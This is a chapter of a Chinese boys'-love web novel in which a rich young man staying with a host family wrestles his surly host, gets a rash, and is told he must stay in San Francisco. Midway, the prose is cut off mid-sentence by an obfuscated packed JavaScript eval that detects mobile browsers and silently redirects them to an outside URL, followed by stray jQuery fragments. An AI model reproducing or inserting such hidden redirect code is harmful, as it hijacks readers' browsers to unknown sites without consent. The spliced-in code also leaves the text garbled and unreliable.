尽管被人禁锢着,但伊恩丝毫没觉得危险。
这小少爷手和腿的力度很差,自己分分钟就能挣脱,反制他易如反掌。
那就陪他玩玩。
伊恩跪趴在地上,保持着被“制住”的姿势,打量着凌思渊。
少年浑身上下都是他沐浴露的味道,上半身穿着一件宽松的白色T恤,此刻腰部微微悬空,下摆已经被掀了上去,露出了一截昨晚惊鸿一瞥的纤细腰肢。
小腹扁平,微微凹陷,肚脐旁边有一颗红色的小痣,被雪白的肤色衬得分外明显。
那双修长的腿就缠在自己的脖子上,灰色的四角裤就在眼皮子下边……
触觉和嗅觉全方位入侵,伊恩心头升起一股诡异的感觉,心跳加快,喉结上下轻轻一晃。
凌思渊起初只是以为屋里进了贼,毕竟美国这破地方的治安那么一言难尽,冲出来的时候认出是那头恶犬,想到昨晚此人并不友好的表现,决定将错就错,给他点颜色看看。
“知道我的厉害了吧?!”他十分得意,“我确实练过柔术,不过是巴西柔术!我还一直学芭蕾呢!”他箍紧了伊恩的脖子往下一压,“这个柔韧度锁死你没问题!”
伊恩的脸有些充血发红,鼻尖嗅到的淡淡腥气让他莫名血脉贲张。
这个愚蠢的家伙,知不知道自己此刻很像主动献祭的祭品?
他目光往下一扫,揶揄地说:“你就这么喜欢把自己的弱点送到别人面前?”
凌思渊这才意识到,这个姿势有那么一点点小尴尬。
坏狗不会是个gay吧?!怎么会往这方面想?
就是他这一走神的工夫,本以为被自己锁得死死的人突然动了!
几乎是转瞬之间,凌思渊感觉自己锁紧的腿被猛地掰开,这只双开门坏狗身体向上一窜,抬起膝盖压住自己的大腿内侧,手腕一个翻转,挣脱了他的手,将他反制住。
还没回过神来,他被摆成了生物学课本里的青蛙造型,双臂被按在脑袋两侧,被人死死压在了地上。
坏狗趴在上方,那双漆黑中带点绿的眸子阴恻恻地看着他。
凌思渊百忙之中走了个神。
哦?他长这样?
没了那画出来的黑眼圈,也没有尖牙和伤痕,眼前的男人虽然依旧很凶,但看起来阳间了一些些。
短发是纯正的黑色,明显是自来卷,眉骨高,眼窝深邃,有点眉压眼,所以显得不好惹,眼睛是两头尖尖的橄榄型,很好看。
睫毛又黑又密,鼻梁又高又挺,嘴唇薄薄的,轮廓分明,还是标准的冷白皮,很有一种传统的欧洲古典美,再混杂着一点来自神秘东方的优雅。
非常的……性感。
这就是三国混血儿的实力吗?真是很会长了。
在凌思渊打量自己的时候,伊恩也在居高临下地看着他。
凑得这么近,那白皙的皮肤上都看不出毛孔,细嫩得像刚打发出来的绵密奶油,眼睛是圆的,像是两颗杏子,昨天见时觉得有些自以为是的机灵,但现在这个角度看上去,又显得可怜无辜。
让人很想欺负,想看他更可怜地哭着求饶。
鼻梁比平时见的东方人高一些,鼻尖微翘,显得很俏皮,左侧面颊颧骨上,有一颗很小的褐色雀斑。
如果肚脐旁边的那颗红痣像酸奶上滴了一滴石榴汁,这颗雀斑就像奶油上一个极为细小的气泡,让人很想用手将它碾破。
伊恩心痒难耐地伸出手,重重用拇指按在了那颗雀斑上。
这么一比划,才发现小笨蛋的脸才有他的巴掌那么大。
“你干什么!”被人字面意义上的贴脸输出,凌思渊从欣赏美色中回过神来,愤怒地挣扎了一下,“放开我!你很重!”
“承受不了这个代价,就别轻易挑衅。”伊恩冷冷地说,突地松开他,站起身,拎起鞋,拿上运动服飞快地离开。
凌思渊揉了揉被按痛的颧骨,仰头望着恶犬消失的方向,骂骂咧咧地坐了起来:“神经病吧!”
虽然是跨国救人,走得又匆忙,但到底坐的是头等舱,他在飞机上睡得昏天黑地,去警察局尽管是有点折腾,不过兴奋大于疲惫,昨晚他一点也不困,正好国内是白天,很方便他跟爸爸妈妈承认错误。
但不知道为什么,爸爸不在家,妈妈看上去很疲惫,视频电话里没顾上跟他多说两句,只说不生他的气,让他好好休息,回国的事听安排。
大哥发微信骂了他两句,二姐对他的魔丸行为毫不意外,发了个“瑞思拜”就去上课了,他靠跟基友联机打游戏蹉跎了大部分时间。
就这么玩了一夜,刚刚才有些困意,上个厕所准备正式睡觉,谁知坏狗就偷偷摸摸地进来了。
呵,他不会真是gay吧?毕竟旧金山是全美最gay的城市。
啊!他不会惦记我吧?!
呸!他想得美!反正本少爷很快就走了!
凌思渊爬上床,迷迷糊糊地睡了过去。
这坏狗的床挺舒服,又软又弹,床品味道也还算清新,虽然比不上五星酒店的套房,但这种家的感觉让人略显心安。
只不过没睡多久,他就被痒醒了。
好痒,脸上,脖子上,手臂胳膊,浑身都痒!
凌思渊崩溃地坐起来,看了一眼自己,发出了尖锐的爆鸣声:“啊啊啊啊啊!”
楼下饭厅里,正在吃早饭的伊恩和奶奶面面相觑,连埋头干狗粮的贝拉都抬起头来,“汪”地叫了一声。
易笙安有些茫然:“这是怎么了?做噩梦了?”
“我上去看看。”伊恩丢下手里的全麦面包片。
易笙安连忙叮嘱他:“对他友善一些。”
“没有任何有钱人值得被友善对待。”伊恩毫不留情地说。
经过之前的缠斗,他对这个愚蠢又自以为是的小少爷更加反感,现在不知道又搞什么鬼,他很想把这人立刻装进行李箱扔出去!
“咣”地一声,伊恩踢开了卧室的门,看见凌思渊在自己书桌抽屉里翻找着什么,本就烦躁的心情更更上一层楼:“之前我警告过你什么?!”
凌思渊悲愤地转过头看着他:“你的床是不是有什么不干净的东西?该不会有床虱吧?!我起了一身红点子!你有没有药?!”
伊恩克制住自己想打人的手,“哗”地拉开床帘,清晨阳光照在少年的身上,把他本就白皙的皮肤染得金光灿灿,很清楚地映出了那遍布全身的小红疹。
看上去一折就断的纤细脖颈上星星点点,让他看上去更蠢,但又更加楚楚可怜。
“应该是过敏了。”
易笙安简单给凌思渊检查了一下,发觉他只是皮肤有红疹,微微发痒,并没更明显的其他反应,松了一口气。
富豪家的小少爷只是来借住一天,要是出什么大事,可就不好交代了。
面对长辈,凌思渊表现得比较乖巧,满腹委屈和抱怨没有说出口,只是极为不爽地瞪着伊恩。
床应该是无辜的,毕竟自己躺了一晚上,不可能到最后才过敏,大概率罪魁祸首是地毯。
哼!如果不是这只坏狗偷摸闯进来,自己怎么会去绞他?!不去绞他就不会躺在地毯上,不躺在地毯上就不会过敏!
坏狗才是万恶之源!
“没关系,我去给你买些药,如果更严重,就送你去医院。”易笙安拄着拐杖站起来。
凌思渊看她腿脚不便,阻止道:“奶奶,哪能麻烦你,让坏——让他去!”
伊恩眉宇间都是对他的厌恶:“洗个澡不就行了?这么娇气?!”
“我变成这样都是你害的,你得对我负责!”凌思渊仰着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271975|198142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头,毫不示弱地看着他。
坏狗个子高又如何,本少爷的公理比天高!
伊恩垂眸看着他,眼神极为不爽,但这人原本奶油色毫无瑕疵的皮肤上爬满了小红疹,好像比之前更严重了些,还是需要重视。
“让你的保镖带你去医院,你们有钱人的性命金贵,我们照顾不了。”他冷淡地说。
易笙安连忙道:“他的保镖是国内带来的,不熟悉这边的情况。”又对凌思渊说,“伊恩还得去上学,我去就行,开车很方便,很快就回来。”
“还要上学?”凌思渊挠着脸,嘲笑地看着伊恩。
坏狗现在穿着棒球服夹克,内搭帽衫卫衣,下边是牛仔裤和板鞋,比吸血鬼装扮看起来年轻了不少,但还在读高中吗?
他得意道:“我都高中毕业了,你比我小吗?那我是你的bigbrother!”
伊恩觉得他这满脸花还要当别人老大的样子简直可笑,根本懒得理他,跟奶奶说:“我去吧。”
片刻后,没等凌思渊吃完一碗高纤维麦片,就听外边响起汽车轰鸣声,一个高大的人影推开门进来,扔了个纸袋在沙发上,冷酷地说:“今晚我回来之前,你最好已经滚了!”
说完转身摔门离开。
易笙安有些抱歉地说:“思渊你别介意,他——”
“没关系啦奶奶,反正我很快就回国了。”凌思渊非常大度地说,完全不想听这人有什么心理疾病。
跟自己没有半毛钱关系。
纸袋子里有两种药,一种内服一种外敷,按照说明书都用上之后,凌思渊回到卧室里呼呼大睡。
希望睡醒之后症状就能消失,也能立刻回家。
这一天一夜就当一场噩梦好了。
或许这过敏药有什么镇定作用,凌思渊睡得很香,梦都没做一个,一觉醒来,已经是下午三点多。
他一个鲤鱼打挺坐起来,看了看自己身上,悬着的心落了下来。
很好,过敏症状明显减轻,也不痒了,小爷又行了!
凌思渊换好衣服,脚步轻快地往外走,下楼的时候听到了交谈声,说的是中文。
“……大概率是被电信诈骗了,警察追着跟他聊天的账号所在的网址查了查,IP是在国内。”是易晏的声音,“不过那账号发来的照片倒是挺能唬人,看上去真像是鬼佬的寄养家庭,我看聊天记录,杰森太太的地址是对方给的,可能随便在网上找的直接粘了过来,估计没想到小少爷真能跑美国来捞人。”
然后听见易奶奶说:“孩子是单纯了些,不过心地善良是好事。”
“估计是被家里保护得太好了,还得多接触社会才行。”易晏说。
凌思渊下楼去,跟他打招呼:“易律师。”
余光发现客厅里有儿童用的栅栏围起了一个圈,里边有好几个刚刚会爬的孩子在一起玩。
这还是个私人托儿所吗?
易晏笑着站起来,向他伸出手:“又见面了,思渊。”
凌思渊之前几次来美国,都是先去的洛杉矶,由那边的分公司招待,恰好易律师被合作律所派过来办事,曾经很主动地招待过他。
虽然当时没想作什么妖,但他留了对方的名片,这次来恰好用上。
谁知道他还是伊恩的表叔呢。
孽缘,纯纯孽缘!
他跟易晏握了握手,脸上挂起客套的微笑:“如果案件已经差不多了,那我就准备回家了。”
“这个……”易晏脸上露出了略显遗憾的表情,语气中微微有些怜悯:“思渊,你家里出了一点事情,我跟你妈妈商量过,建议你在旧金山待一段时间再回去,就住在这里。”
还没等凌思渊好好消化这段话里所含的信息量,就听门口传来伊恩冷酷无情、充满厌恶的声音:“不行,我不同意!”